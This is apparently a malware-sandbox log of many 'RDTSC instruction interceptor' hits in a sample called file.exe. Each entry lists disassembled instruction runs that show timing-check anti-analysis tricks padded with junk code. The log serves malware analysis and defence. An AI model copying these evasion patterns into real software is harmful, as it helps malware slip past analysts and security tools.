Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8407F second address: B84094 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0698769D6Ch 0x00000008 jnc 00007F0698769D66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84094 second address: B8409D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8409D second address: B840A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B840A1 second address: B840A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8413A second address: B8413E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84246 second address: B8425D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8425D second address: B84262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B844B9 second address: B844C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F0699139DC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84AF3 second address: B84AF8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84E9A second address: B84EED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dx, si 0x0000000f lea eax, dword ptr [ebp+12485948h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F0699139DC8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov cl, 80h 0x00000031 nop 0x00000032 jmp 00007F0699139DCAh 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EED second address: B84EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EF1 second address: B84F50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 mov ecx, dword ptr [ebp+122D39DFh] 0x0000000e lea eax, dword ptr [ebp+12485904h] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F0699139DC8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e add edx, 0C143DB5h 0x00000034 nop 0x00000035 jc 00007F0699139DE5h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F0699139DD7h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84F50 second address: B6AE6F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F0698769D71h 0x0000000d jmp 00007F0698769D6Bh 0x00000012 nop 0x00000013 push eax 0x00000014 and ecx, dword ptr [ebp+122D3727h] 0x0000001a pop edx 0x0000001b call dword ptr [ebp+122D35AAh] 0x00000021 jo 00007F0698769D78h 0x00000027 jl 00007F0698769D6Eh 0x0000002d push esi 0x0000002e pop esi 0x0000002f js 00007F0698769D66h 0x00000035 push ebx 0x00000036 push edx 0x00000037 pop edx 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F0698769D6Ch 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB7D3 second address: BCB7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCB938 second address: BCB9A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0698769D6Eh 0x0000000c jmp 00007F0698769D79h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F0698769D76h 0x00000021 jc 00007F0698769D68h 0x00000027 push esi 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F0698769D77h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE77A second address: BCE77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE77E second address: BCE782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCE782 second address: BCE788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD137B second address: BD1385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0698769D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16B7 second address: BD16BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD16BB second address: BD16C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86AD second address: BD86B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86B5 second address: BD86BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86BA second address: BD86D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F0699139DD3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86D9 second address: BD86F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jne 00007F0698769D66h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86F1 second address: BD86FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F0699139DC6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD86FE second address: BD8703 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8703 second address: BD8709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD6FB2 second address: BD6FBC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD6FBC second address: BD6FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD6FC2 second address: BD6FCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD6FCA second address: BD6FDA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0699139DD2h 0x00000008 js 00007F0699139DC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD744B second address: BD745B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D6Ah 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD745B second address: BD7469 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0699139DC8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7469 second address: BD746F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD746F second address: BD7473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B848F2 second address: B84930 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000004h 0x0000000c xor cx, 7948h 0x00000011 nop 0x00000012 jc 00007F0698769D86h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0698769D74h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8323 second address: BD8355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0699139DD5h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0699139DD4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBCA4 second address: BDBCD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D77h 0x00000007 jmp 00007F0698769D78h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBCD7 second address: BDBCDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBCDC second address: BDBCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBE5C second address: BDBE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBFCD second address: BDBFFF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0698769D6Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F0698769D70h 0x0000001a pop ebx 0x0000001b jmp 00007F0698769D6Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDBFFF second address: BDC009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0699139DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC009 second address: BDC029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D77h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC029 second address: BDC03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0699139DC6h 0x0000000a jnc 00007F0699139DC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC188 second address: BDC18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC18C second address: BDC19A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC19A second address: BDC19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC19E second address: BDC1B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F0699139DCCh 0x0000000f jg 00007F0699139DC6h 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1B6 second address: BDC1BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC1BD second address: BDC1E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F0699139DC6h 0x00000009 js 00007F0699139DC6h 0x0000000f jmp 00007F0699139DD0h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC34F second address: BDC355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDC355 second address: BDC359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFD20 second address: BDFD48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0698769D73h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFD48 second address: BDFD4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDFD4C second address: BDFD5E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F0698769D66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6AC5 second address: BE6AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6AC9 second address: BE6AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6AD2 second address: BE6AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0699139DC6h 0x0000000a jmp 00007F0699139DD4h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6AF1 second address: BE6B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F0698769D66h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F0698769D75h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6E02 second address: BE6E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DD8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6E24 second address: BE6E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6E28 second address: BE6E4E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0699139DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0699139DD8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6E4E second address: BE6E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6E52 second address: BE6E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7BFA second address: BE7C07 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE815A second address: BE816E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007F0699139DC8h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE87A4 second address: BE87AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA3C second address: BECA46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F0699139DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BECA46 second address: BECA8B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0698769D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F0698769D6Eh 0x00000013 jnp 00007F0698769D66h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F0698769D6Ah 0x00000021 jmp 00007F0698769D6Dh 0x00000026 jmp 00007F0698769D6Ch 0x0000002b popad 0x0000002c pushad 0x0000002d push edi 0x0000002e pop edi 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBBA0 second address: BEBBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBBA4 second address: BEBBB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBEDC second address: BEBEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEBEE0 second address: BEBF09 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0698769D66h 0x00000008 jmp 00007F0698769D6Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F0698769D6Dh 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC056 second address: BEC05A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC05A second address: BEC060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC060 second address: BEC06A instructions: 0x00000000 rdtsc 0x00000002 je 00007F0699139DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC1A3 second address: BEC1B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0698769D6Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC1B8 second address: BEC1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC1CA second address: BEC1CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC429 second address: BEC42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC5C2 second address: BEC5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0698769D66h 0x0000000a jmp 00007F0698769D73h 0x0000000f pushad 0x00000010 jc 00007F0698769D66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC72C second address: BEC732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC732 second address: BEC749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0698769D6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEC749 second address: BEC767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0699139DD7h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE12F second address: BEE150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007F0698769D66h 0x0000000e jo 00007F0698769D66h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b je 00007F0698769D66h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE150 second address: BEE15E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEE15E second address: BEE162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2B53 second address: BF2B85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F0699139DC6h 0x00000009 pop edx 0x0000000a jbe 00007F0699139DD5h 0x00000010 jmp 00007F0699139DCFh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0699139DCFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2B85 second address: BF2BA6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0698769D7Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2BA6 second address: BF2BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC71F second address: BFC727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC727 second address: BFC741 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0699139DCEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
